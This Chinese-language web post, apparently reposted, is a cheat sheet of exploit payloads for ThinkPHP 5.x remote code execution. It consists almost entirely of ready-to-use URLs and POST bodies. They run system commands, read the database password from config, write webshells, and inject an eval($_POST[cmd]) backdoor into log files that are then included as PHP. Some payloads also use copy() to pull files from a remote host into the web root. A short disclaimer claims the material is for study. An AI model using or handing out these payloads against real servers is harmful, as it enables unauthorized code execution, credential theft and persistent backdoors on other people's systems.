thinkPHP命令執行漏洞


thinkPHP中反斜杠的作用是類庫\命名空間

命令執行的姿勢

通過反射invokefunction調用call_user_func_array方法,call_user_func_array函數接受兩個參數,第一個為函數名,第二個為函數參數數組,如下所示,通過call_user_func_array函數調用system執行whoami函數

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

執行php代碼

?s=index/\think\Request/input&filter=phpinfo&data=1

獲取當前數據庫名稱

?s=index/think\config/get&name=database.hostname

獲取當前數據庫密碼

?s=index/think\config/get&name=database.password

執行php代碼

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

執行php代碼

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

執行php代碼

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

執行php代碼

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

執行php代碼

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

getshell的姿勢

寫入getshell (file_put_contents應該也行)

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?>

使用echo寫入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')

一種新的方法

先判斷以下代碼是否能正常回顯

使用post方法請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

寫入shell到日志中

post請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>

使用文件包含將日志文件可當作php文件進行執行(注意日志文件路徑和名稱)

post請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log

通過一句話copy新一句話文件(echo)

post請求
請求實體:index.php?s=captcha
請求路徑:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web絕對路徑/2.php");

thinkPHP 5X 在PHP7以上環境下的 GETSHELL

thinkphp 5.x全版本任意代碼執行分析全記錄

ThinkPHP 5.x 遠程命令執行漏洞復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM